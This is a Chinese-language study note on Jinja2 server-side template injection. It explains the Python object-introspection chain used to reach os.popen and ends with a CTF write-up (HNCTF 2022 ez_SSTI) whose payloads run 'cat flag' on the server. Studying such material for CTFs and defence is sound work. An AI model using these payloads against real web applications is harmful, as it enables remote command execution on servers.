前面学习了SSTI中的smarty类型，今天学习了Jinja2，两种类型都是flask框架的，但是在注入的语法上还是有不同
SSTI：服务器端模板注入，也属于一种注入类型。与sql注入类似，也是通过凭借进行命令的执行，sql是和数据库的查询语句进行拼接。SSTI是在后端的渲染进行拼接，SSTI主要是运用在目前的网站框架下。
经过查询资料，SSTI漏洞产生的原因：
因为在函数渲染时，对于用户输入的变量没有进行渲染，才会导致漏洞的出现
附上一张经典判断SSTI模板类型的图
Jinja2的语法
{% ... %} //声明变量，当然也可以用于循环语句和条件语句。
{{ ... }} //用于将表达式打印到模板输出
{{...}}={%print(...)%}基础知识
1.class
用于返回对象所属的类
>>> ''.__class__
<type 'str'>
>>> ().__class__
<type 'tuple'>
>>> [].__class__
<type 'list'>
>>> {}.__class__
<type 'dict'>2.bases
用于查看类的父类，可以用数组进行索引
>>> ().__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__
(<type 'basestring'>,)
>>> [].__class__.__bases__
(<type 'object'>,)
>>> {}.__class__.__bases__
(<type 'object'>,)
>>> [].__class__.__bases__[0]
<type 'object'>3.subclasses
返回类的所有子类
4.globals__和__init
init:实例化类时自动调用，也可以直接调用来初始化
globals:返回一个字典，包含当前作用域的全局变量和对应的值
一般我们要用的类是os._wrap_close，在获取类之后，调用init来实例化，之后globals获取这个对象的全局变量和对相应的值(这里我理解的是类似于序列化的过程经过实例化的过程，然后才能调用输出，globals就相当于一个输出的作用)
(''.__class__.__base__.__subclasses__()[128].__init__.__globals__)
5.popen方法
字符串的形式输入命令（比如：ls，cat/flag等），它会创建一个子进程执行命令，从而逃逸jinja2的进程的沙箱限制（变量类型 →找到所属类型 →回溯基类 →寻找可利用子类 →最终payload），在用read来读取执行的结果
注入思路
- 随便找一个内置类对象用
__class__拿到他所对应的类- 用
__bases__拿到基类（<class 'object'>）- 用
__subclasses__()拿到子类列表- 在子类列表中直接寻找可以利用的类getshell
- 用popen方法执行命令
- read读取执行的结果
[HNCTF 2022 WEEK2]ez_SSTI
打开环境，先进行判断（这里参数是看了wp才知道是name的），通过判断知道是属于Jinja2模板的
构建payload，返回出所有的子类，一般要用到的子类是os._wrap_close,在不同的情况下所处的位置不同
{{''.__class__.__bases__[0].__subclasses__()}}
寻找os._wrap_close类，定位在137，在该目录下寻找flag
{{config.__class__.__init__.__globals__['os'].popen('cat flag').read() }}